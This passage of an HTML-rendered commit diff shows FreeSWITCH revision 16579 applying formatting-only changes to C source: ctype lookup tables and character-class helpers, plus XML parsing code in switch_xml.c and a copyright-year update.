-        0x20,        0x21,        0x22,        0x23,        0x24,        0x25,        0x26,        0x27,
-        0x28,        0x29,        0x2a,        0x2b,        0x2c,        0x2d,        0x2e,        0x2f,
-        0x30,        0x31,        0x32,        0x33,        0x34,        0x35,        0x36,        0x37,
-        0x38,        0x39,        0x3a,        0x3b,        0x3c,        0x3d,        0x3e,        0x3f,
-        0x40,        'a',        'b',        'c',        'd',        'e',        'f',        'g',
-        'h',        'i',        'j',        'k',        'l',        'm',        'n',        'o',
-        'p',        'q',        'r',        's',        't',        'u',        'v',        'w',
-        'x',        'y',        'z',        0x5b,        0x5c,        0x5d,        0x5e,        0x5f,
-        0x60,        0x61,        0x62,        0x63,        0x64,        0x65,        0x66,        0x67,
-        0x68,        0x69,        0x6a,        0x6b,        0x6c,        0x6d,        0x6e,        0x6f,
-        0x70,        0x71,        0x72,        0x73,        0x74,        0x75,        0x76,        0x77,
-        0x78,        0x79,        0x7a,        0x7b,        0x7c,        0x7d,        0x7e,        0x7f,
-        0x80,        0x81,        0x82,        0x83,        0x84,        0x85,        0x86,        0x87,
-        0x88,        0x89,        0x8a,        0x8b,        0x8c,        0x8d,        0x8e,        0x8f,
-        0x90,        0x91,        0x92,        0x93,        0x94,        0x95,        0x96,        0x97,
-        0x98,        0x99,        0x9a,        0x9b,        0x9c,        0x9d,        0x9e,        0x9f,
-        0xa0,        0xa1,        0xa2,        0xa3,        0xa4,        0xa5,        0xa6,        0xa7,
-        0xa8,        0xa9,        0xaa,        0xab,        0xac,        0xad,        0xae,        0xaf,
-        0xb0,        0xb1,        0xb2,        0xb3,        0xb4,        0xb5,        0xb6,        0xb7,
-        0xb8,        0xb9,        0xba,        0xbb,        0xbc,        0xbd,        0xbe,        0xbf,
-        0xc0,        0xc1,        0xc2,        0xc3,        0xc4,        0xc5,        0xc6,        0xc7,
-        0xc8,        0xc9,        0xca,        0xcb,        0xcc,        0xcd,        0xce,        0xcf,
-        0xd0,        0xd1,        0xd2,        0xd3,        0xd4,        0xd5,        0xd6,        0xd7,
-        0xd8,        0xd9,        0xda,        0xdb,        0xdc,        0xdd,        0xde,        0xdf,
-        0xe0,        0xe1,        0xe2,        0xe3,        0xe4,        0xe5,        0xe6,        0xe7,
-        0xe8,        0xe9,        0xea,        0xeb,        0xec,        0xed,        0xee,        0xef,
-        0xf0,        0xf1,        0xf2,        0xf3,        0xf4,        0xf5,        0xf6,        0xf7,
-        0xf8,        0xf9,        0xfa,        0xfb,        0xfc,        0xfd,        0xfe,        0xff
</del><ins>+        0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
+        0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
+        0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
+        0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f,
+        0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
+        0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f,
+        0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
+        0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f,
+        0x40, 'a', 'b', 'c', 'd', 'e', 'f', 'g',
+        'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',
+        'p', 'q', 'r', 's', 't', 'u', 'v', 'w',
+        'x', 'y', 'z', 0x5b, 0x5c, 0x5d, 0x5e, 0x5f,
+        0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67,
+        0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f,
+        0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,
+        0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f,
+        0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87,
+        0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e, 0x8f,
+        0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97,
+        0x98, 0x99, 0x9a, 0x9b, 0x9c, 0x9d, 0x9e, 0x9f,
+        0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7,
+        0xa8, 0xa9, 0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf,
+        0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5, 0xb6, 0xb7,
+        0xb8, 0xb9, 0xba, 0xbb, 0xbc, 0xbd, 0xbe, 0xbf,
+        0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7,
+        0xc8, 0xc9, 0xca, 0xcb, 0xcc, 0xcd, 0xce, 0xcf,
+        0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7,
+        0xd8, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf,
+        0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7,
+        0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef,
+        0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7,
+        0xf8, 0xf9, 0xfa, 0xfb, 0xfc, 0xfd, 0xfe, 0xff
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> const short *_switch_tolower_tab_ = _switch_C_tolower_;
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(int) switch_tolower(int c)
</span><span class="cx"> {
</span><del>-        if ((unsigned int)c > 255)
-                return(c);
</del><ins>+        if ((unsigned int) c > 255)
+                return (c);
</ins><span class="cx">         if (c < -1)
</span><span class="cx">                 return EOF;
</span><del>-        return((_switch_tolower_tab_ + 1)[c]);
</del><ins>+        return ((_switch_tolower_tab_ + 1)[c]);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /*
</span><span class="lines">@@ -2146,136 +2142,136 @@
</span><span class="cx">
</span><span class="cx"> const int _switch_C_ctype_[1 + SWITCH_CTYPE_NUM_CHARS] = {
</span><span class="cx">         0,
</span><del>-        _C,        _C,        _C,        _C,        _C,        _C,        _C,        _C,
-        _C,        _C|_S,        _C|_S,        _C|_S,        _C|_S,        _C|_S,        _C,        _C,
-        _C,        _C,        _C,        _C,        _C,        _C,        _C,        _C,
-        _C,        _C,        _C,        _C,        _C,        _C,        _C,        _C,
- _S|_B,        _P,        _P,        _P,        _P,        _P,        _P,        _P,
-        _P,        _P,        _P,        _P,        _P,        _P,        _P,        _P,
-        _N,        _N,        _N,        _N,        _N,        _N,        _N,        _N,
-        _N,        _N,        _P,        _P,        _P,        _P,        _P,        _P,
-        _P,        _U|_X,        _U|_X,        _U|_X,        _U|_X,        _U|_X,        _U|_X,        _U,
-        _U,        _U,        _U,        _U,        _U,        _U,        _U,        _U,
-        _U,        _U,        _U,        _U,        _U,        _U,        _U,        _U,
-        _U,        _U,        _U,        _P,        _P,        _P,        _P,        _P,
-        _P,        _L|_X,        _L|_X,        _L|_X,        _L|_X,        _L|_X,        _L|_X,        _L,
-        _L,        _L,        _L,        _L,        _L,        _L,        _L,        _L,
-        _L,        _L,        _L,        _L,        _L,        _L,        _L,        _L,
</del><ins>+        _C, _C, _C, _C, _C, _C, _C, _C,
+        _C, _C | _S, _C | _S, _C | _S, _C | _S, _C | _S, _C, _C,
+        _C, _C, _C, _C, _C, _C, _C, _C,
+        _C, _C, _C, _C, _C, _C, _C, _C,
+        _S | _B, _P, _P, _P, _P, _P, _P, _P,
+        _P, _P, _P, _P, _P, _P, _P, _P,
+        _N, _N, _N, _N, _N, _N, _N, _N,
+        _N, _N, _P, _P, _P, _P, _P, _P,
+        _P, _U | _X, _U | _X, _U | _X, _U | _X, _U | _X, _U | _X, _U,
+        _U, _U, _U, _U, _U, _U, _U, _U,
+        _U, _U, _U, _U, _U, _U, _U, _U,
+        _U, _U, _U, _P, _P, _P, _P, _P,
+        _P, _L | _X, _L | _X, _L | _X, _L | _X, _L | _X, _L | _X, _L,
+        _L, _L, _L, _L, _L, _L, _L, _L,
+        _L, _L, _L, _L, _L, _L, _L, _L,
</ins><span class="cx"> /* determine printability based on the IS0 8859 8-bit standard */
</span><del>-        _L,        _L,        _L,        _P,        _P,        _P,        _P,        _C,
</del><ins>+        _L, _L, _L, _P, _P, _P, _P, _C,
</ins><span class="cx">
</span><del>-        _C,        _C,        _C,        _C,        _C,        _C,        _C,        _C, /* 80 */
-        _C,        _C,        _C,        _C,        _C,        _C,        _C,        _C, /* 88 */
-        _C,        _C,        _C,        _C,        _C,        _C,        _C,        _C, /* 90 */
-        _C,        _C,        _C,        _C,        _C,        _C,        _C,        _C, /* 98 */
-        _P,        _P,        _P,        _P,        _P,        _P,        _P,        _P, /* A0 */
-        _P,        _P,        _P,        _P,        _P,        _P,        _P,        _P, /* A8 */
-        _P,        _P,        _P,        _P,        _P,        _P,        _P,        _P, /* B0 */
-        _P,        _P,        _P,        _P,        _P,        _P,        _P,        _P, /* B8 */
-        _P,        _P,        _P,        _P,        _P,        _P,        _P,        _P, /* C0 */
-        _P,        _P,        _P,        _P,        _P,        _P,        _P,        _P, /* C8 */
-        _P,        _P,        _P,        _P,        _P,        _P,        _P,        _P, /* D0 */
-        _P,        _P,        _P,        _P,        _P,        _P,        _P,        _P, /* D8 */
-        _P,        _P,        _P,        _P,        _P,        _P,        _P,        _P, /* E0 */
-        _P,        _P,        _P,        _P,        _P,        _P,        _P,        _P, /* E8 */
-        _P,        _P,        _P,        _P,        _P,        _P,        _P,        _P, /* F0 */
-        _P,        _P,        _P,        _P,        _P,        _P,        _P,        _P /* F8 */
</del><ins>+        _C, _C, _C, _C, _C, _C, _C, _C,        /* 80 */
+        _C, _C, _C, _C, _C, _C, _C, _C,        /* 88 */
+        _C, _C, _C, _C, _C, _C, _C, _C,        /* 90 */
+        _C, _C, _C, _C, _C, _C, _C, _C,        /* 98 */
+        _P, _P, _P, _P, _P, _P, _P, _P,        /* A0 */
+        _P, _P, _P, _P, _P, _P, _P, _P,        /* A8 */
+        _P, _P, _P, _P, _P, _P, _P, _P,        /* B0 */
+        _P, _P, _P, _P, _P, _P, _P, _P,        /* B8 */
+        _P, _P, _P, _P, _P, _P, _P, _P,        /* C0 */
+        _P, _P, _P, _P, _P, _P, _P, _P,        /* C8 */
+        _P, _P, _P, _P, _P, _P, _P, _P,        /* D0 */
+        _P, _P, _P, _P, _P, _P, _P, _P,        /* D8 */
+        _P, _P, _P, _P, _P, _P, _P, _P,        /* E0 */
+        _P, _P, _P, _P, _P, _P, _P, _P,        /* E8 */
+        _P, _P, _P, _P, _P, _P, _P, _P,        /* F0 */
+        _P, _P, _P, _P, _P, _P, _P, _P        /* F8 */
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> const int *_switch_ctype_ = _switch_C_ctype_;
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(int) switch_isalnum(int c)
</span><span class="cx"> {
</span><del>-        return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] & (_U|_L|_N)));
</del><ins>+        return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char) c] & (_U | _L | _N)));
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(int) switch_isalpha(int c)
</span><span class="cx"> {
</span><del>-        return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] & (_U|_L)));
</del><ins>+        return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char) c] & (_U | _L)));
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(int) switch_iscntrl(int c)
</span><span class="cx"> {
</span><del>-        return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] & _C));
</del><ins>+        return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char) c] & _C));
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(int) switch_isdigit(int c)
</span><span class="cx"> {
</span><del>-        return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] & _N));
</del><ins>+        return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char) c] & _N));
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(int) switch_isgraph(int c)
</span><span class="cx"> {
</span><del>-        return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] & (_P|_U|_L|_N)));
</del><ins>+        return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char) c] & (_P | _U | _L | _N)));
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(int) switch_islower(int c)
</span><span class="cx"> {
</span><del>-        return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] & _L));
</del><ins>+        return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char) c] & _L));
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(int) switch_isprint(int c)
</span><span class="cx"> {
</span><del>-        return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] & (_P|_U|_L|_N|_B)));
</del><ins>+        return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char) c] & (_P | _U | _L | _N | _B)));
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(int) switch_ispunct(int c)
</span><span class="cx"> {
</span><del>-        return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] & _P));
</del><ins>+        return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char) c] & _P));
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(int) switch_isspace(int c)
</span><span class="cx"> {
</span><del>-        return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] & _S));
</del><ins>+        return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char) c] & _S));
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(int) switch_isupper(int c)
</span><span class="cx"> {
</span><del>-        return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] & _U));
</del><ins>+        return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char) c] & _U));
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(int) switch_isxdigit(int c)
</span><span class="cx"> {
</span><del>-        return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] & (_N|_X)));
</del><ins>+        return (c < 0 ? 0 : c > 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char) c] & (_N | _X)));
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(int) switch_number_cmp(const char *exp, int val)
</span><span class="cx"> {
</span><del>- char *p;
-        
- if ((p=strchr(exp, '-'))) {
- int min;
- int max;
</del><ins>+        char *p;
</ins><span class="cx">
</span><del>- min = atol(exp);
- p++;
- max = atol(p);
</del><ins>+        if ((p = strchr(exp, '-'))) {
+                int min;
+                int max;
</ins><span class="cx">
</span><del>- if (val >= min && val <= max) {
- return 1;
- }
- } else if ((p=strchr(exp, ','))) {
- const char *cur = exp;
</del><ins>+                min = atol(exp);
</ins><span class="cx">                 p++;
</span><del>- while(cur) {
- if (atol(cur) == val) {
- return 1;
- }
-                        
- cur = p;
-                        if (p && p+1) {
-                                if ((p = strchr((p+1), ','))) {
</del><ins>+                max = atol(p);
+
+                if (val >= min && val <= max) {
+                        return 1;
+                }
+        } else if ((p = strchr(exp, ','))) {
+                const char *cur = exp;
+                p++;
+                while (cur) {
+                        if (atol(cur) == val) {
+                                return 1;
+                        }
+
+                        cur = p;
+                        if (p && p + 1) {
+                                if ((p = strchr((p + 1), ','))) {
</ins><span class="cx">                                         p++;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>- }
- } else {
- if (atol(exp) == val) {
- return 1;
- }
- }
</del><ins>+                }
+        } else {
+                if (atol(exp) == val) {
+                        return 1;
+                }
+        }
</ins><span class="cx">
</span><del>- return 0;
</del><ins>+        return 0;
</ins><span class="cx">
</span><span class="cx"> }
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_xmlc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_xml.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_xml.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_xml.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -63,13 +63,13 @@
</span><span class="cx"> #include <apr_file_io.h>
</span><span class="cx">
</span><span class="cx"> typedef struct {
</span><del>-        size_t gl_pathc;        /* Count of total paths so far. */
-        size_t gl_matchc;        /* Count of paths matching pattern. */
-        size_t gl_offs;                /* Reserved at beginning of gl_pathv. */
-        int gl_flags;                /* Copy of flags parameter to glob. */
-        char **gl_pathv;        /* List of paths matching pattern. */
</del><ins>+        size_t gl_pathc;                        /* Count of total paths so far. */
+        size_t gl_matchc;                        /* Count of paths matching pattern. */
+        size_t gl_offs;                                /* Reserved at beginning of gl_pathv. */
+        int gl_flags;                                /* Copy of flags parameter to glob. */
+        char **gl_pathv;                        /* List of paths matching pattern. */
</ins><span class="cx">         /* Copy of errfunc parameter to glob. */
</span><del>-        int (*gl_errfunc)(const char *, int);        
</del><ins>+        int (*gl_errfunc) (const char *, int);
</ins><span class="cx"> } glob_t;
</span><span class="cx">
</span><span class="cx"> /* Believed to have been introduced in 1003.2-1992 */
</span><span class="lines">@@ -92,7 +92,7 @@
</span><span class="cx"> #define        GLOB_QUOTE                0x0400        /* Quote special chars with \. */
</span><span class="cx"> #define        GLOB_LIMIT                0x1000        /* limit number of returned paths */
</span><span class="cx">
</span><del>-int        glob(const char *, int, int (*)(const char *, int), glob_t *);
</del><ins>+int glob(const char *, int, int (*)(const char *, int), glob_t *);
</ins><span class="cx"> void globfree(glob_t *);
</span><span class="cx">
</span><span class="cx"> #endif
</span><span class="lines">@@ -105,7 +105,7 @@
</span><span class="cx"> #endif
</span><span class="cx">
</span><span class="cx"> #define SWITCH_XML_WS "\t\r\n "        /* whitespace */
</span><del>-#define SWITCH_XML_ERRL 128                        /* maximum error string length */
</del><ins>+#define SWITCH_XML_ERRL 128                /* maximum error string length */
</ins><span class="cx">
</span><span class="cx"> static int preprocess(const char *cwd, const char *file, int write_fd, int rlevel);
</span><span class="cx">
</span><span class="lines">@@ -166,7 +166,7 @@
</span><span class="cx">         char buf[1024] = "";
</span><span class="cx">         /*switch_xml_section_t sections = SWITCH_XML_SECTION_RESULT; */
</span><span class="cx">         uint32_t sections = SWITCH_XML_SECTION_RESULT;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (str) {
</span><span class="cx">                 for (x = 0; x < strlen(str); x++) {
</span><span class="cx">                         buf[x] = (char) tolower((int) str[x]);
</span><span class="lines">@@ -252,8 +252,7 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_xml_bind_search_function_ret(switch_xml_search_function_t function,
</span><del>-                                                                                                                                        switch_xml_section_t sections, void *user_data,
-                                                                                                                                        switch_xml_binding_t **ret_binding)
</del><ins>+                                                                                                                                        switch_xml_section_t sections, void *user_data, switch_xml_binding_t **ret_binding)
</ins><span class="cx"> {
</span><span class="cx">         switch_xml_binding_t *binding = NULL, *ptr = NULL;
</span><span class="cx">         assert(function != NULL);
</span><span class="lines">@@ -302,18 +301,18 @@
</span><span class="cx">         return p;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_xml_t) switch_xml_find_child_multi(switch_xml_t node, const char *childname, ...)
</del><ins>+SWITCH_DECLARE(switch_xml_t) switch_xml_find_child_multi(switch_xml_t node, const char *childname,...)
</ins><span class="cx"> {
</span><span class="cx">         switch_xml_t p = NULL;
</span><del>-        const char *names[256] = {0};
-        const char *vals[256] = {0};
</del><ins>+        const char *names[256] = { 0 };
+        const char *vals[256] = { 0 };
</ins><span class="cx">         int x, i = 0;
</span><span class="cx">         va_list ap;
</span><span class="cx">         const char *attrname, *value = NULL;
</span><span class="cx">
</span><span class="cx">         va_start(ap, childname);
</span><del>-        
-        while(i < 255) {
</del><ins>+
+        while (i < 255) {
</ins><span class="cx">                 if ((attrname = va_arg(ap, const char *))) {
</span><span class="cx">                         value = va_arg(ap, const char *);
</span><span class="cx">                 }
</span><span class="lines">@@ -331,7 +330,7 @@
</span><span class="cx">         if (!(childname && i)) {
</span><span class="cx">                 return node;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (p = switch_xml_child(node, childname); p; p = p->next) {
</span><span class="cx">                 for (x = 0; x < i; x++) {
</span><span class="cx">                         if (names[x] && vals[x]) {
</span><span class="lines">@@ -353,7 +352,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         return p;
</span><span class="cx"> }
</span><span class="lines">@@ -481,7 +480,7 @@
</span><span class="cx">         char *e, *r = s, *m = s;
</span><span class="cx">         long b, c, d, l;
</span><span class="cx">
</span><del>-        for (; *s; s++) {        /* normalize line endings */
</del><ins>+        for (; *s; s++) {                        /* normalize line endings */
</ins><span class="cx">                 while (*s == '\r') {
</span><span class="cx">                         *(s++) = '\n';
</span><span class="cx">                         if (*s == '\n')
</span><span class="lines">@@ -503,13 +502,13 @@
</span><span class="cx">                         if (!c || *e != ';') {
</span><span class="cx">                                 s++;
</span><span class="cx">                                 continue;
</span><del>-                        }                                        /* not a character ref */
-
</del><ins>+                        }
+                        /* not a character ref */
</ins><span class="cx">                         if (c < 0x80)
</span><span class="cx">                                 *(s++) = (char) c;        /* US-ASCII subset */
</span><del>-                        else {                                        /* multi-byte UTF-8 sequence */
</del><ins>+                        else {                                /* multi-byte UTF-8 sequence */
</ins><span class="cx">                                 for (b = 0, d = c; d; d /= 2)
</span><del>-                                        b++;                        /* number of bits in c */
</del><ins>+                                        b++;                /* number of bits in c */
</ins><span class="cx">                                 b = (b - 2) / 5;        /* number of bytes in payload */
</span><span class="cx">                                 *(s++) = (char) ((0xFF << (7 - b)) | (c >> (6 * b)));        /* head */
</span><span class="cx">                                 while (b)
</span><span class="lines">@@ -525,19 +524,21 @@
</span><span class="cx">                                         l = (d = (long) (s - r)) + c + (long) strlen(e);        /* new length */
</span><span class="cx">                                         if (l) {
</span><span class="cx">                                                 if (r == m) {
</span><del>-                                                        char *tmp = (char *)malloc(l);
</del><ins>+                                                        char *tmp = (char *) malloc(l);
</ins><span class="cx">                                                         if (tmp) {
</span><span class="cx">                                                                 r = strcpy(tmp, r);
</span><span class="cx">                                                         } else {
</span><del>-                                                                if (r) free(r);
</del><ins>+                                                                if (r)
+                                                                        free(r);
</ins><span class="cx">                                                                 return NULL;
</span><span class="cx">                                                         }
</span><span class="cx">                                                 } else {
</span><del>-                                                        char *tmp = (char *)realloc(r, l);
</del><ins>+                                                        char *tmp = (char *) realloc(r, l);
</ins><span class="cx">                                                         if (tmp) {
</span><span class="cx">                                                                 r = tmp;
</span><span class="cx">                                                         } else {
</span><del>-                                                                if (r) free(r);
</del><ins>+                                                                if (r)
+                                                                        free(r);
</ins><span class="cx">                                                                 return NULL;
</span><span class="cx">                                                         }
</span><span class="cx">                                                 }
</span><span class="lines">@@ -598,15 +599,15 @@
</span><span class="cx">         if (!*(xml->txt))
</span><span class="cx">                 xml->txt = s;                        /* initial character content */
</span><span class="cx">         else {                                                /* allocate our own memory and make a copy */
</span><del>-                if ((xml->flags & SWITCH_XML_TXTM)) { /* allocate some space */
-                        char *tmp = (char *)realloc(xml->txt, (l = strlen(xml->txt)) + len);
</del><ins>+                if ((xml->flags & SWITCH_XML_TXTM)) {        /* allocate some space */
+                        char *tmp = (char *) realloc(xml->txt, (l = strlen(xml->txt)) + len);
</ins><span class="cx">                         if (tmp) {
</span><span class="cx">                                 xml->txt = tmp;
</span><span class="cx">                         } else {
</span><span class="cx">                                 return;
</span><span class="cx">                         }
</span><span class="cx">                 } else {
</span><del>-                        char *tmp = (char *)malloc((l = strlen(xml->txt)) + len);
</del><ins>+                        char *tmp = (char *) malloc((l = strlen(xml->txt)) + len);
</ins><span class="cx">                         if (tmp) {
</span><span class="cx">                                 xml->txt = strcpy(tmp, xml->txt);
</span><span class="cx">                         } else {
</span><span class="lines">@@ -665,7 +666,8 @@
</span><span class="cx">                 s += strspn(s + 1, SWITCH_XML_WS) + 1;        /* skip whitespace after target */
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (!root) return;
</del><ins>+        if (!root)
+                return;
</ins><span class="cx">
</span><span class="cx">         if (!strcmp(target, "xml")) {        /* <?xml ... ?> */
</span><span class="cx">                 if ((s = strstr(s, "standalone")) && !strncmp(s + strspn(s + 10, SWITCH_XML_WS "='\"") + 10, "yes", 3))
</span><span class="lines">@@ -674,20 +676,24 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (!root->pi[0]) {
</span><del>-                root->pi = (char ***)malloc(sizeof(char **));
-                if (!root->pi) return;
-                *(root->pi) = NULL;        /* first pi */
</del><ins>+                root->pi = (char ***) malloc(sizeof(char **));
+                if (!root->pi)
+                        return;
+                *(root->pi) = NULL;                /* first pi */
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         while (root->pi[i] && strcmp(target, root->pi[i][0]))
</span><span class="cx">                 i++;                                        /* find target */
</span><span class="cx">         if (!root->pi[i]) {                        /* new target */
</span><del>-                char ***ssstmp = (char ***)realloc(root->pi, sizeof(char **) * (i + 2));
-                if (!ssstmp) return;
-                root->pi = ssstmp;
-                if (!root->pi) return;
-                root->pi[i] = (char **)malloc(sizeof(char *) * 3);
-                if (!root->pi[i]) return;
</del><ins>+                char ***ssstmp = (char ***) realloc(root->pi, sizeof(char **) * (i + 2));
+                if (!ssstmp)
+                        return;
+                root->pi = ssstmp;
+                if (!root->pi)
+                        return;
+                root->pi[i] = (char **) malloc(sizeof(char *) * 3);
+                if (!root->pi[i])
+                        return;
</ins><span class="cx">                 root->pi[i][0] = target;
</span><span class="cx">                 root->pi[i][1] = (char *) (root->pi[i + 1] = NULL);        /* terminate pi list */
</span><span class="cx">                 root->pi[i][2] = strdup("");        /* empty document position list */
</span><span class="lines">@@ -695,12 +701,14 @@
</span><span class="cx">
</span><span class="cx">         while (root->pi[i][j])
</span><span class="cx">                 j++;                                        /* find end of instruction list for this target */
</span><del>-        sstmp = (char **)realloc(root->pi[i], sizeof(char *) * (j + 3));
-        if (!sstmp) return;
</del><ins>+        sstmp = (char **) realloc(root->pi[i], sizeof(char *) * (j + 3));
+        if (!sstmp)
+                return;
</ins><span class="cx">         root->pi[i] = sstmp;
</span><del>-        stmp = (char *)realloc(root->pi[i][j + 1], j + 1);
-        if (!stmp) return;
-        root->pi[i][j + 2] = stmp;
</del><ins>+        stmp = (char *) realloc(root->pi[i][j + 1], j + 1);
+        if (!stmp)
+                return;
+        root->pi[i][j + 2] = stmp;
</ins><span class="cx">         strcpy(root->pi[i][j + 2] + j - 1, (root->xml.name) ? ">" : "<");
</span><span class="cx">         root->pi[i][j + 1] = NULL;        /* null terminate pi list for this target */
</span><span class="cx">         root->pi[i][j] = s;                        /* set instruction */
</span><span class="lines">@@ -713,27 +721,27 @@
</span><span class="cx">         int i, j;
</span><span class="cx">         char **sstmp;
</span><span class="cx">
</span><del>-        pe = (char **)memcpy(malloc(sizeof(SWITCH_XML_NIL)), SWITCH_XML_NIL, sizeof(SWITCH_XML_NIL));
-        
</del><ins>+        pe = (char **) memcpy(malloc(sizeof(SWITCH_XML_NIL)), SWITCH_XML_NIL, sizeof(SWITCH_XML_NIL));
+
</ins><span class="cx">         for (s[len] = '\0'; s;) {
</span><span class="cx">                 while (*s && *s != '<' && *s != '%')
</span><span class="cx">                         s++;                                /* find next declaration */
</span><span class="cx">
</span><span class="cx">                 if (!*s)
</span><span class="cx">                         break;
</span><del>-                else if (!strncmp(s, "<!ENTITY", 8)) {                        /* parse entity definitions */
</del><ins>+                else if (!strncmp(s, "<!ENTITY", 8)) {        /* parse entity definitions */
</ins><span class="cx">                         c = s += strspn(s + 8, SWITCH_XML_WS) + 8;        /* skip white space separator */
</span><del>-                        n = s + strspn(s, SWITCH_XML_WS "%");                /* find name */
</del><ins>+                        n = s + strspn(s, SWITCH_XML_WS "%");        /* find name */
</ins><span class="cx">                         *(s = n + strcspn(n, SWITCH_XML_WS)) = ';';        /* append ; to name */
